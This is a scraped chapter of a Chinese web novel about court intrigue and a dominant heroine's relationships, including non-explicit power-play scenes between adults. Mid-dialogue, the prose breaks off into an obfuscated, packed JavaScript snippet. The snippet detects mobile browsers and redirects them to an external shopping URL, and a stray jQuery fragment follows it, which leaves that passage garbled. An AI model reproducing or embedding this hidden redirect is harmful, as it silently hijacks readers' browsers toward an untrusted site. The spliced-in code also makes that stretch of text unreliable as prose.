文趣网 > 都市小说 > 误攻病娇新帝GB > 36. 终不似(十九)
    虞秧走出了乾清宫,婉拒了送她出宫的内侍,在皇城里漫无目的地逛了起来。

    戚有容说过内厂诏狱就在这座皇城的地下某处,实际地点他不知道,张直也说他不知道,但虞秧就不信她找不到。

    内厂番子动辄数千,出入诏狱总不可能一点行迹都没有,更别说他们还要把犯人、证据什么的统统搬运进去。虞秧借着入宫晋见的机会,看似漫无目的地在皇城里闲逛,实际上就在观察来来往往的每一个人,看看他们有没有任何异于常人的举动。

    可惜,看了好半天,依旧一无所获。

    反而是贺平之先逮到了她。“你怎么在宫里乱逛起来了,欠参了吗。”

    虞秧斜眼看他:“那你又怎么在这里?”

    贺平之翻了一个大大的白眼。“你看看身后是什么地方。”

    ——哦,是文华殿,内阁大学士办公之所。

    “贺大人看来是真的很得陛下青睐,现在都要进出文华殿了,看来离入阁不远矣。”

    话说出口,虞秧才发现自己说得有多么尖酸刻薄。她张了张嘴,贺平之却抢先一步解释:“你也知道我爹负责今届恩科,我不过是以右佥都御史的身份从旁协助和监察。”

    虞秧有些心虚的低下了头:“我不是故意挖苦你的。”

    贺平之微微苦笑:“鱼鱼,我明白的,我奉陛下之命用他假扮的伶人身份引你回京,然后又一直没有告诉你关于陛下的真相,你生我的气是应该的。”

    虞秧摇了摇头,温声说道:“平子,我不是生你的气。”

    “只是觉得,我们二十年朋友,为什么美好的过去会渐行渐远呢。”

    贺平之沉默了。过了不知多久,他才轻轻说道:“不是渐行渐远——自从言哥那件事后,我们一直都在向前走,是鱼鱼你没有为意而已。”

    虞秧脸色一僵,这不是贺平之第一次对她说这样的话,尽管她一再强调自己这五年来一直也在向前走。

    贺平之抬起头来直视着她,目光深邃而坚定:“鱼鱼,接受现实吧,殿下已经死了,我们总要为自己而活。”

    “我没有不接受现实。”虞秧冷笑:“还有你和你爹效忠当今陛下也不是这五年的事,你们从来都是旧党中人,只是以前藏在暗处而已。”

    “鱼鱼你这锅我可不背。”贺平之无奈的说:“我爹或者在很多年前已经有自己的打算,但你和我和言哥一起长大,你知道我们的友情是真的。”

    虞秧沉默了。

    贺平之轻轻叹了一口气:“言哥生前也希望我们这一辈子可以过得顺心如意,现在他死了,这是一个无法改变的事实,那我改变一下自己,继续活得顺心如意,不正是言哥希望见到的吗?”

    虞秧咋舌,他们几个猪朋狗友之间从来都是贺平之的口才最好,现在她终于再次见识到了。

    “鱼鱼,”贺平之又道,“其实在言哥死前,你本来就有自己的梦想不是吗?

    有啊。

    她要扬名立万,她要掌控一方,她要以自己之名立于世间,她要把自己的命运紧紧握在自己手里。

    就是因为她理想中的轨迹与谢嘉言的并不重合,她本来就已经放弃了谢嘉言。只是后来他人死了,得不到的东西才变得最可贵。

    “平子,”虞秧定定的看着贺平之,仿佛尝试在把他这个人看穿一样。“你是想说,我应该改变自己,而向陛下屈服。”

    贺平之轻轻一笑,“其实是你向陛下屈服,还是陛下向你屈服,连我这个不相干的人都看得出来,鱼鱼应该心中有数吧?”

    虞秧想起了乾清宫里的谢临渊,他的确很懂得怎样去吸引她、取悦她,自己把他玩弄透了随口一句便让他顶着又伤又肿的屁股坐在那里,她的确有自信对方会完全无条件的驯服于她。

    但虞秧还是摇了摇头,“他对我的执念太深,他越是对我用情便越会想从我身上得到对等的回报,这种感情债最难还。”

    贺平之神秘莫测的一笑。“有没有一种可能,感情本来就不需要用感情去还。”

    “有一个爱你的人,你只需要把他当作一只手,一只多了出来的手,这只手在你有需要的时候,它可以帮你,甚至可以救你,只要你舍得的话你亦可以随时斩了它,因为它是多出来的,你根本不会有任何损失,因为你由始至终都没有弄脏过你真正的一双手。”

    ……

    被贺平之这么一闹,虞秧也在宫中留不了多久,转身便出宫回府。

    她一边在路上走着,贺平之的话却一直缠绕在耳边。他的话其实不无道理,只是这一只天下之主的手想要斩掉又谈何容易。

    而斩不掉的手,又随时可以反过来操控主人。

    就这样心不在焉的走到府门前,才赫然发现门外站了一个人。

    虞秧有一下恍惚,以为是她那只占有欲过重的狗又在府门外等她回来,等她一走过去便会扑上来左嗅右嗅的,用软糯但隐含寒意的声音问她又去了哪里鬼混。

    想到这里她无端端的一阵背脊发寒,回过神来的时候才发现此犬并非彼犬。

    “大人。”对方很轻很轻的唤了一声。

    哦,是隔壁那条金屋藏娇的美人犬。或者现在应该说是——丧家之犬。

    美人犬再次人模人样的站了起来,脖子上的黄金项圈已经消失不见,身上的绫罗绸缎也只剩下了一件薄薄的素净长袍。精致华美的玩物褪去了镀金的外壳,里面就只剩下了并不值钱也不吸引的内核。

    但眼前这件褪去庸俗表皮的玩物……又未必完全没有吸引力。

    返璞归真的燕佳期又有了一点孤冷乐师燕公子的模样,只是眼中多了明显的清颓和疲倦,有种像是历尽人生八苦过后依旧保持着一丝坚韧的残缺美。

    虞秧走到男人面前,故作轻松的笑问:“不过没见一阵子,燕公子怎么沦落成丧家之犬了?”

    “我……跑出来了。”燕佳期两颊微红,这些话让他羞于启齿,但他不得不说。“秦国夫人那里的日子……真的不是人过的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771269|206353||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    “不是人过的,是狗过的呀,我知道。”虞秧说完自己也觉得好笑,可是看见男人眼中凝聚起来的泪珠,又有那么一点点的后悔。“进来再说。”

    虞秧把人领进了偏厅,给他倒了一杯热茶。

    她看着燕佳期瘦弱的身姿,明明是辗落成泥的落花,却偏偏还有一阵清香,还有隐隐约约的清贵傲骨。

    “燕公子早知今日,何必当初。”她半是玩味,半是婉惜的说。

    燕佳期纤手一抖,热茶几乎便要溅了出来。颤抖的羽睫微垂,长长的阴影打在了眼角那颗既熟悉又陌生的泪痣上面。

    他很浅很浅的笑了一下:“大人,像我这样的贱民身如浮萍,又有什么选择可言呢。”

    “我明白的,”虞秧半是真心半是假意的安抚,“不止是你,人生在世,又有谁真的能顺心而为?”

    “大人可以。”燕佳期抬眸,目光清澄的看着她:“大人在我心里,就是顺心而为的存在。”

    虞秧摇了摇头,“燕公子根本就不认识我。”

    她勾了勾手指让燕佳期走上前来,又拍了拍大腿让他坐在自己腿上。

    相比在酒楼里的羞涩和为难,这次他想也没想便坐了下去。

    ——秦国夫人似乎还把他调\教得挺乖的,也没有完全抹煞掉他本身那股温润柔和小郎君的韵味。

    “那燕公子觉得,我为什么要和秦国夫人作对,收留一个从她府中出来的逃奴呢?”

    “我……”燕佳期的脸以肉眼可见的速度涨得通红。“我可以做大人的狗。那日大人和秦国夫人说的话我都听见了,大人也是喜欢玩……玩狗的吧?”

    他勉强从齿缝间挤出最后那几个字,尴尬得十指都要蜷缩起来。虞秧看着他的反应,实在太可爱了,她拉过他紧张的手一根一根手指掰开,还不忘在他掌心轻轻一抠。

    突如其来的痒意让他禁不住笑出声来,下意识的再次攥起拳头。

    “打开。”虞秧淡淡的命令。

    紧握的拳头缓缓打开,滑嫩的手心暴露在空气中的一刻,虞秧立即便落下不轻不重的一掌。燕佳期一下吃痛,却死死忍住了手指收缩的本能,反而强行把手指撑到最开。

    “乖。”虞秧搂着男人纤瘦的腰肢,在他耳边轻轻吹气。

    男人的耳根一下子红了起来。

    “服从性不错,羞耻心也是一样很好挑起主人欲望的工具。”虞秧的声音冷静而抽离,像是在评价一件待价而沽的商品一样。“秦国夫人的品味是庸俗了一点,但她挑人的眼光和调人的手法看来都不错。”

    听见虞秧提起秦国夫人的\调教,燕佳期似乎心有余悸,被她搂住的身子打了一个冷颤。

    虞秧懒懒地往椅背一靠,顺手把腿上的男人拉进怀里。燕佳期似乎有一瞬间的僵硬,但很快便放松身子,任她施为。

    虞秧俯首在他耳边,轻声问:“燕公子,你并不想做我的狗。”

    “那你为什么要主动提出这个条件?”